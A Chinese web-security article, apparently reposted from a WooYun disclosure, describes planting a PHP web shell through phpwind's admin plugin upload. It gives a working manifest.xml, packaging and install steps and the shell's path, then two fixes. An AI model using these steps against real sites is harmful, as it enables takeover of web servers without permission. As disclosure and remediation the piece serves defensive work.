phpwind后台getshell - 网站安全 - 自学php-自学php网

来源：自学PHP网时间：2015-04-17 10:15 作者：阅读:次

[导读] 后台上传插件处，可以上传一个包含php木马的phpwind标准格式插件安装包，并可getshell.1.先制作一个安装包，需要包含一个manifest.xml文件和一个php一句话(此处文件名为php.php)。manifest.xml如...

后台上传插件处，可以上传一个包含php木马的phpwind标准格式插件安装包，并可getshell.

1.先制作一个安装包，需要包含一个manifest.xml文件和一个php一句话(此处文件名为php.php)。

manifest.xml如下：

<?xml version="1.0" encoding="gbk"?>

<name>getshell</name>

<alias>getshell</alias>

<pw-version>1.0</pw-version>

<description>getshell

</description>

<website>http://wooyun.org</website>

<author-name>VIP@wooyun</author-name>

<author-email>root@wooyun.org</author-email>

<author-icon>http://wooyun.org</author-icon>

</application>

</manifest>

将以上文件打包成zip格式。

2.在后台云平台-》应用管理-》本地安装处上传制作好的安装包，并点击安装。

3.shell为http://127.0.0.1/phpwind/src/extensions/getshell/php.php

修复方案：

这个修复有点麻烦，我觉得有两种方案。

1.只允许安装应用中心的应用，禁止本地安装；

2.对本地上传的应用进行扫描。

更多文章推荐